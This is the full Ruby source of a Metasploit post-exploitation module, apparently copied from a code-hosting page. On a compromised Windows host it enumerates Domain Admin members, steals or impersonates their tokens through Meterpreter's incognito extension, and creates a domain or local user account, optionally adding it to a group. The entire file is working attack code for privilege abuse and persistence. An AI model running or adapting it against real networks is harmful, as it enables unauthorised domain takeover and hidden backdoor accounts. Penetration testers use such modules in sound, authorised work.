379 lines
13 KiB
Ruby
379 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Accounts
|
|
include Msf::Exploit::Deprecated
|
|
|
|
moved_from 'post/windows/manage/add_user_domain'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Manage Add User to the Domain and/or to a Domain Group',
|
|
'Description' => %q{
|
|
This module adds a user to the Domain and/or to a Domain group. It will
|
|
check if sufficient privileges are present for certain actions and run
|
|
getprivs for system. If you elevated privs to system, the
|
|
SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to
|
|
a process that is running as system. If you don't have privs, this script
|
|
exits.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => 'Joshua Abraham <jabra[at]rapid7.com>',
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
incognito_impersonate_token
|
|
incognito_list_tokens
|
|
stdapi_sys_config_getuid
|
|
stdapi_sys_config_steal_token
|
|
stdapi_sys_process_get_processes
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [true, 'The username of the user to add (not-qualified, e.g. BOB)']),
|
|
OptString.new('PASSWORD', [false, 'Password of the user']),
|
|
OptString.new('GROUP', [false, 'Add user into group, creating it if necessary']),
|
|
OptBool.new('ADDTOGROUP', [true, 'Add group if it does not exist', false]),
|
|
OptBool.new('ADDTODOMAIN', [true, 'Add to Domain if true, otherwise add locally', true]),
|
|
OptString.new('TOKEN', [false, 'Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)', '']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check_result(user_result)
|
|
case user_result['return']
|
|
when client.railgun.const('ERROR_ACCESS_DENIED')
|
|
print_error 'Sorry, you do not have permission to add that user.'
|
|
when client.railgun.const('NERR_UserExists')
|
|
print_status 'User already exists.'
|
|
when client.railgun.const('NERR_GroupExists')
|
|
print_status 'Group already exists.'
|
|
when client.railgun.const('NERR_UserNotFound')
|
|
print_error 'The user name could not be found.'
|
|
when client.railgun.const('NERR_InvalidComputer')
|
|
print_error 'The server you specified was invalid.'
|
|
when client.railgun.const('NERR_NotPrimary')
|
|
print_error 'You must be on the primary domain controller to do that.'
|
|
when client.railgun.const('NERR_GroupNotFound')
|
|
print_error 'The group specified by the groupname parameter does not exist.'
|
|
when client.railgun.const('NERR_PasswordTooShort')
|
|
print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
|
|
when client.railgun.const('ERROR_ALIAS_EXISTS')
|
|
print_status 'The local group already exists.'
|
|
when client.railgun.const('NERR_UserInGroup')
|
|
print_status 'The user already belongs to this group.'
|
|
when client.railgun.const('ERROR_MORE_DATA')
|
|
print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
|
|
when client.railgun.const('ERROR_NO_SUCH_ALIAS')
|
|
print_status 'The specified account name is not a member of the group.'
|
|
when client.railgun.const('ERROR_NO_SUCH_MEMBER')
|
|
print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
|
|
when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
|
|
print_status 'One or more of the members specified were already members of the group. No new members were added.'
|
|
when client.railgun.const('ERROR_INVALID_MEMBER')
|
|
print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
|
|
when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
|
|
print_status 'The RPC server is unavailable.'
|
|
else
|
|
print_error "Unexpectedly returned #{user_result}"
|
|
end
|
|
end
|
|
|
|
## steal domain admin token
|
|
## return code: bool
|
|
def steal_token(domain_user, domain)
|
|
if (session.sys.config.getuid == domain_user) || (domain_user == '')
|
|
return true
|
|
end
|
|
|
|
## load incognito
|
|
if !session.incognito
|
|
session.core.use('incognito')
|
|
end
|
|
|
|
if !session.incognito
|
|
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
|
|
return false
|
|
end
|
|
|
|
## verify domain_user contains a domain
|
|
if domain_user.index('\\').nil?
|
|
domain_user = "#{domain}\\#{domain_user}"
|
|
else
|
|
domain_user = ''
|
|
end
|
|
|
|
## token is a PID
|
|
target_pid = ''
|
|
if (datastore['TOKEN'] =~ /^\d+$/)
|
|
pid = datastore['TOKEN']
|
|
|
|
session.sys.process.get_processes.sort_by { rand }.each do |x|
|
|
if (pid == x['pid'])
|
|
target_pid = pid
|
|
end
|
|
end
|
|
## token is a Domain User
|
|
else
|
|
session.sys.process.get_processes.sort_by { rand }.each do |x|
|
|
if ((x['user'] == domain_user) && (target_pid == ''))
|
|
target_pid = x['pid']
|
|
print_status("Found token for #{domain_user}")
|
|
end
|
|
end
|
|
end
|
|
|
|
if target_pid != ''
|
|
# Do the migration
|
|
print_status("Stealing token of process ID #{target_pid}")
|
|
session.sys.config.steal_token(target_pid)
|
|
if domain_user != ''
|
|
domain_user = session.sys.config.getuid
|
|
else
|
|
print_status("Stealing token of process ID #{target_pid}")
|
|
session.sys.config.steal_token(target_pid)
|
|
if domain_user != ''
|
|
domain_user = session.sys.config.getuid
|
|
end
|
|
end
|
|
|
|
if session.sys.config.getuid != domain_user
|
|
print_error "Steal Token Failed (running as: #{session.sys.config.getuid})"
|
|
return false
|
|
end
|
|
else
|
|
print_status('No process tokens found.')
|
|
if (domain_user != '')
|
|
vprint_status('Trying impersonate_token technique...')
|
|
session.incognito.incognito_impersonate_token(domain_user)
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
return true
|
|
end
|
|
|
|
## enumerate if the session has a domain admin token on it
|
|
## Return: token_found,token_user,current_user; otherwise false
|
|
def token_hunter(domain)
|
|
## gather data
|
|
domain_admins = get_members_from_group('Domain Admins', get_domain('DomainControllerName'))
|
|
|
|
## load incognito
|
|
if !session.incognito
|
|
session.core.use('incognito')
|
|
end
|
|
|
|
if !session.incognito
|
|
print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
|
|
return false
|
|
end
|
|
|
|
domain_admins.each do |da_user|
|
|
## current user
|
|
if session.sys.config.getuid == "#{domain}\\#{da_user}"
|
|
print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)"
|
|
return true, '', true
|
|
end
|
|
|
|
## parse delegation tokens
|
|
res = session.incognito.incognito_list_tokens(0)
|
|
if res
|
|
res['delegation'].split("\n").each do |user|
|
|
ndom, nusr = user.split('\\')
|
|
if !nusr
|
|
nusr = ndom
|
|
ndom = nil
|
|
end
|
|
next unless (ndom == domain) && (da_user == nusr)
|
|
|
|
sid = session.sid
|
|
peer = session.session_host
|
|
print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)")
|
|
return true, nusr, false
|
|
end
|
|
end
|
|
|
|
## parse process list
|
|
session.sys.process.get_processes.each do |x|
|
|
next unless (x['user'] == "#{domain}\\#{da_user}")
|
|
|
|
target_pid = x['pid']
|
|
sid = session.sid
|
|
peer = session.session_host
|
|
report_note(
|
|
host: session,
|
|
type: 'domain.token.pid',
|
|
data: { pid: target_pid, sid: sid, peer: peer, user: da_user },
|
|
update: :unique_data
|
|
)
|
|
print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})")
|
|
return true, da_user, false
|
|
end
|
|
end
|
|
return false
|
|
end
|
|
|
|
def local_mode
|
|
if datastore['PASSWORD'].nil?
|
|
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
|
|
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
|
|
end
|
|
# Add user
|
|
if enum_user.include? datastore['USERNAME']
|
|
print_status("User '#{datastore['USERNAME']}' already exists.")
|
|
else
|
|
result = add_user(datastore['USERNAME'], datastore['PASSWORD'])
|
|
if result['return'] == 0
|
|
print_good("User '#{datastore['USERNAME']}' was added.")
|
|
else
|
|
check_result(result)
|
|
end
|
|
end
|
|
|
|
# Add localgroup
|
|
if datastore['ADDTOGROUP'] && (!enum_localgroup.include? datastore['GROUP'])
|
|
if datastore['GROUP']
|
|
result = add_localgroup(datastore['GROUP'])
|
|
if result['return'] == 0
|
|
print_good("Group '#{datastore['GROUP']}' was added.")
|
|
else
|
|
check_result(result)
|
|
end
|
|
else
|
|
print_error('Check your group name')
|
|
end
|
|
end
|
|
# Add Member to LocalGroup
|
|
if datastore['ADDTOGROUP'] && datastore['GROUP']
|
|
result = add_members_localgroup(datastore['GROUP'], datastore['USERNAME'])
|
|
if result['return'] == 0
|
|
print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group.")
|
|
else
|
|
check_result(result)
|
|
end
|
|
end
|
|
end
|
|
|
|
def domain_mode
|
|
## check domain
|
|
server_name = get_domain('DomainControllerName')
|
|
if server_name
|
|
print_good("Found Domain : #{server_name}")
|
|
else
|
|
print_error('No DC is available for the specified domain or the domain does not exist. ')
|
|
return false
|
|
end
|
|
if datastore['PASSWORD'].nil?
|
|
datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
|
|
print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
|
|
end
|
|
## enum domain
|
|
domain = primary_domain
|
|
if domain.nil?
|
|
return
|
|
end
|
|
|
|
## steal token if neccessary
|
|
if datastore['TOKEN'] == ''
|
|
token_found, token_user, current_user = token_hunter(domain)
|
|
if token_found && current_user == false
|
|
datastore['TOKEN'] = token_user
|
|
end
|
|
end
|
|
|
|
## steal token
|
|
steal_token_res = steal_token(datastore['TOKEN'], domain)
|
|
return if steal_token_res == false
|
|
|
|
## Add user to the domain
|
|
if (enum_user(server_name).include? datastore['USERNAME'])
|
|
print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain")
|
|
else
|
|
print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain")
|
|
result = add_user(datastore['USERNAME'], datastore['PASSWORD'], server_name)
|
|
if result['return'] == 0
|
|
print_good("User '#{datastore['USERNAME']}' was added to the #{domain} domain.")
|
|
else
|
|
check_result(result)
|
|
end
|
|
end
|
|
|
|
## Add group to domain
|
|
if datastore['ADDTOGROUP'] && (!enum_group(server_name).include? datastore['GROUP'])
|
|
if datastore['GROUP']
|
|
result = add_group(datastore['GROUP'], server_name)
|
|
if result['return'] == 0
|
|
print_good("Group '#{datastore['GROUP']}' was added!")
|
|
else
|
|
check_result(result)
|
|
end
|
|
if (!enum_group(server_name).include? datastore['GROUP'])
|
|
print_error("The #{datastore['GROUP']} group not exist in the domain. It is possible that the same group name exists for the local group.")
|
|
end
|
|
else
|
|
print_error('Check your group name')
|
|
end
|
|
end
|
|
|
|
if datastore['ADDTOGROUP'] && (enum_group(server_name).include? datastore['GROUP'])
|
|
## check if user is already a member of the group
|
|
members = get_members_from_group(datastore['GROUP'], server_name)
|
|
# Show results if we have any, Error if we don't
|
|
if members.include? datastore['USERNAME']
|
|
print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group")
|
|
else
|
|
print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group")
|
|
result = add_members_group(datastore['GROUP'], datastore['USERNAME'], server_name)
|
|
if result['return'] == 0
|
|
print_good("'#{datastore['USERNAME']}' is now a member of the '#{datastore['GROUP']}' group!")
|
|
else
|
|
check_result(result)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
def run
|
|
print_status("Running module on '#{sysinfo['Computer']}'")
|
|
if datastore['ADDTODOMAIN']
|
|
print_status('Domain Mode')
|
|
domain_mode
|
|
else
|
|
print_status('Local Mode')
|
|
local_mode
|
|
end
|
|
return nil
|
|
end
|
|
|
|
def primary_domain
|
|
dom_info = get_domain('DomainControllerName')
|
|
if !dom_info.nil? && dom_info =~ /\./
|
|
foo = dom_info.split('.')
|
|
domain = foo[1].upcase
|
|
else
|
|
print_error("Error parsing output from the registry. (#{dom_info})")
|
|
end
|
|
return domain
|
|
end
|
|
end
|